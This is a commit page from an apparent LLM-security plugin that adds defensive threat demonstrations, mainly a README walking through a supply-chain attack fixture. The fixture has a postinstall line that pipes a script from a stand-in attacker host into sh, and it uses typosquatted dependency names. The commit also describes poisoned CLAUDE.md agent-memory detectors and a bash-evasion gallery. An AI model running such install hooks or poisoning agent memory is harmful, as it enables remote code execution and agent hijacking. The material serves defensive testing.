feat(llm-security): add 3 more runnable threat examples [skip-docs]
Three new self-contained, runnable threat demonstrations under
examples/, continuing the batch started in 583a78c. Each example
has README.md + run-*.mjs + expected-findings.md and uses
state-isolation discipline so the user's real cache/state files
are never polluted.
- examples/supply-chain-attack/ — two-layer demonstration:
pre-install-supply-chain (PreToolUse) blocks compromised
event-stream version 3.3.6 and emits a scope-hop advisory for
the @evilcorp scope; dep-auditor (DEP scanner, offline) flags
5 typosquat dependencies plus a curl-piped install-script
vector in the fixture package.json. Maps to LLM03/LLM05/ASI04.
- examples/poisoned-claude-md/ — all 6 memory-poisoning detectors
fire on a deliberately poisoned CLAUDE.md plus a fixture
agent file under .claude/agents (E15/v7.2.0 surface):
detectInjection, detectShellCommands, detectSuspiciousUrls,
detectCredentialPaths, detectPermissionExpansion,
detectEncodedPayloads. No agent runtime needed — scanner
imported directly. Maps to LLM01/LLM06/ASI04.
- examples/bash-evasion-gallery/ — one disguised variant per
T1 through T9 evasion technique fed through pre-bash-destructive,
verified BLOCK after bash-normalize strips the evasion. T8
base64-pipe-shell uses its own BLOCK_RULE. The canonical
destructive form uses a path token rather than the bare slash
(regex word-boundary requires it). Source-string fragmentation
pattern reused from the e2e attack-chain test. Maps to
LLM06/ASI01/LLM01.
Plugin README "Other runnable examples" section + plugin
CLAUDE.md "Examples" table + CHANGELOG Unreleased/Added
all updated. Marketplace root README unchanged
([skip-docs] for marketplace-level gate — plugin's outward
coverage is unchanged, only demonstrations were added).
This commit is contained in:
parent
8179415bc2
commit
ca5a8cec67
15 changed files with 1184 additions and 0 deletions
140
plugins/llm-security/examples/supply-chain-attack/README.md
Normal file
140
plugins/llm-security/examples/supply-chain-attack/README.md
Normal file
|
|
@ -0,0 +1,140 @@
|
|||
# Supply Chain Attack Walkthrough
|
||||
|
||||
> **WARNING: This is a demonstration fixture, NOT a real attack.**
|
||||
> The fixture `package.json` is never installed and the postinstall
|
||||
> URL points to an example domain. The walkthrough only feeds JSON
|
||||
> payloads to one PreToolUse hook and parses the static fixture
|
||||
> with the offline `dep-auditor` scanner.
|
||||
|
||||
## What this demonstrates
|
||||
|
||||
Two layers of supply-chain defense, both catching the same attack
|
||||
shape from different angles:
|
||||
|
||||
| Layer | When | Mechanism |
|
||||
|-------|------|-----------|
|
||||
| `pre-install-supply-chain` | runtime, PreToolUse on `Bash` | Intercepts `npm install <name>` and blocks compromised versions; advises on scope-hopping |
|
||||
| `dep-auditor` (DEP scanner) | scan time, offline | Parses `package.json` for typosquats vs top-100 npm + suspicious lifecycle scripts |
|
||||
|
||||
A real attacker has to bypass both — the runtime gate when the
|
||||
operator runs `npm install`, and the offline scanner when CI / a
|
||||
manual `/security scan` reads the lockfile or manifest.
|
||||
|
||||
## Stage A — runtime hook
|
||||
|
||||
| Command | Expected | Detection |
|
||||
|---------|----------|-----------|
|
||||
| `npm install event-stream@3.3.6` | exit 2 (BLOCK) | `event-stream@3.3.6` is on the `NPM_COMPROMISED` list (real 2018 incident) |
|
||||
| `npm install @evilcorp/lodash` | exit 0 + advisory | scope-hop: unscoped `lodash` is top-100; `@evilcorp` not on the official-scopes allowlist |
|
||||
| `npm install lodash` | exit 0 (clean) | top-100 official package, no advisory |
|
||||
|
||||
## Stage B — dep-auditor on `fixture/package.json`
|
||||
|
||||
The fixture declares 5 typosquatted dependencies and a postinstall
|
||||
script that pipes a remote shell script (`curl ... | sh`):
|
||||
|
||||
```json
|
||||
"dependencies": {
|
||||
"expresss": "^4.18.0", // typo of "express" — Levenshtein 1
|
||||
"loadsh": "^4.17.21", // typo of "lodash" — Levenshtein 2
|
||||
"axois": "^1.6.0", // typo of "axios" — Levenshtein 2
|
||||
"reaact": "^18.2.0" // typo of "react" — Levenshtein 1
|
||||
},
|
||||
"devDependencies": {
|
||||
"chalkk": "^5.3.0" // typo of "chalk" — Levenshtein 1
|
||||
},
|
||||
"scripts": {
|
||||
"postinstall": "curl -sSL https://attacker.example/payload.sh | sh"
|
||||
}
|
||||
```
|
||||
|
||||
Expected `dep-auditor` findings:
|
||||
|
||||
- 5 typosquat findings (`expresss`, `loadsh`, `axois`, `reaact`, `chalkk`),
|
||||
with severity ≥ MEDIUM
|
||||
- 1 install-script finding (HIGH — postinstall contains `curl ... | sh`)
|
||||
- Total ≥ 6 findings, all DEP-prefixed
|
||||
|
||||
## How to run
|
||||
|
||||
```bash
|
||||
cd plugins/llm-security
|
||||
node examples/supply-chain-attack/run-supply-chain.mjs
|
||||
|
||||
# Detailed: show stderr + full finding list
|
||||
node examples/supply-chain-attack/run-supply-chain.mjs --verbose
|
||||
```
|
||||
|
||||
Expected: `5 pass, 0 fail`.
|
||||
|
||||
## Hooks / scanners involved
|
||||
|
||||
- **`hooks/scripts/pre-install-supply-chain.mjs`** — PreToolUse on `Bash`.
|
||||
Reads `tool_input.command`, normalizes bash evasion, gates on install
|
||||
patterns across 7 ecosystems. For npm: checks `NPM_COMPROMISED`,
|
||||
scope-hopping (`NPM_OFFICIAL_SCOPES`), OSV.dev advisories,
|
||||
provenance heuristic, install-script age gate.
|
||||
- **`scanners/dep-auditor.mjs`** — DEP scanner. Reads `package.json`,
|
||||
`requirements.txt`, `setup.py`, `pyproject.toml`, `Pipfile.lock`.
|
||||
For npm: typosquat (Levenshtein ≤2 vs top-100), unpinned versions,
|
||||
install-script heuristics, npm-audit CVE.
|
||||
- **`scanners/lib/supply-chain-data.mjs`** — shared blocklists
|
||||
(`NPM_COMPROMISED`, `PIP_COMPROMISED`, `CARGO_COMPROMISED`, etc.)
|
||||
and `NPM_OFFICIAL_SCOPES` allowlist.
|
||||
|
||||
## Network behavior
|
||||
|
||||
- **Hook stage A**: the hook normally calls `npm view` and OSV.dev
|
||||
to enrich findings. For the compromised case it stops at the
|
||||
`NPM_COMPROMISED` blocklist (no network needed). For the
|
||||
scope-hopping case the advisory is emitted before any network call.
|
||||
For the clean case it may attempt `npm view` — that runs against
|
||||
the public registry but is non-fatal if offline.
|
||||
- **Stage B (dep-auditor)**: runs offline by default. If the env
|
||||
var `LLM_SECURITY_OFFLINE=1` is unset, it may shell out to
|
||||
`npm audit --json --offline=false` for CVE enrichment, but the
|
||||
fixture has no real npm install, so audit returns nothing.
|
||||
|
||||
If you need a fully air-gapped run, set `LLM_SECURITY_OFFLINE=1`
|
||||
in the parent environment.
|
||||
|
||||
## OWASP / framework mapping
|
||||
|
||||
| Code | Framework | Why |
|
||||
|------|-----------|-----|
|
||||
| LLM03 | OWASP LLM Top 10 (2025) | Supply chain compromise — typosquats + malicious install scripts |
|
||||
| LLM05 | OWASP LLM Top 10 (2025) | Improper output / supply-chain-affected dependency surface |
|
||||
| ASI04 | OWASP Agentic Top 10 | Untrusted dependency influence on agent behavior |
|
||||
|
||||
## Related real-world incidents (for context, not part of the demo)
|
||||
|
||||
- `event-stream@3.3.6` (2018) — backdoor injecting bitcoin-stealing code
|
||||
- `colors@1.4.1` / `faker@6.6.6` (2022) — author-protest sabotage
|
||||
- `ua-parser-js@0.7.29` / `coa@2.0.3` / `rc@1.2.9` (2021) — credential
|
||||
stealers via hijacked maintainer accounts
|
||||
- `node-ipc@10.1.1` (2022) — geographically-targeted file-wiping
|
||||
("peacenotwar")
|
||||
- `axios@1.14.1` (2025) — npm-direct publish bypassing CI
|
||||
|
||||
All of these are on the `NPM_COMPROMISED` list and would be blocked
|
||||
by stage A.
|
||||
|
||||
## Limitations
|
||||
|
||||
- The walkthrough focuses on npm. Other ecosystems (`pip`, `cargo`,
|
||||
`gem`, `brew`, `go`, `docker`) follow the same hook pattern but
|
||||
are not exercised here. See `tests/lib/pre-install-supply-chain.test.mjs`
|
||||
for per-ecosystem coverage.
|
||||
- The OSV.dev advisory check (real CVE lookup) is a network feature
|
||||
and is not exercised in the deterministic test cases.
|
||||
- This example does not exercise `pre-install-supply-chain`'s bash
|
||||
evasion normalization (T1-T6). For that, see
|
||||
`examples/bash-evasion-gallery/`.
|
||||
|
||||
## See also
|
||||
|
||||
- `knowledge/top-packages.json` — typosquat seed list (top-100 npm)
|
||||
- `scanners/lib/supply-chain-data.mjs` — `NPM_COMPROMISED` blocklist
|
||||
- `tests/lib/dep-auditor.test.mjs` — unit-test contract
|
||||
- `examples/bash-evasion-gallery/` — bash-normalization layer (T1-T6)
|
||||
- `expected-findings.md` (in this folder) — the testable contract
|
||||
Loading…
Add table
Add a link
Reference in a new issue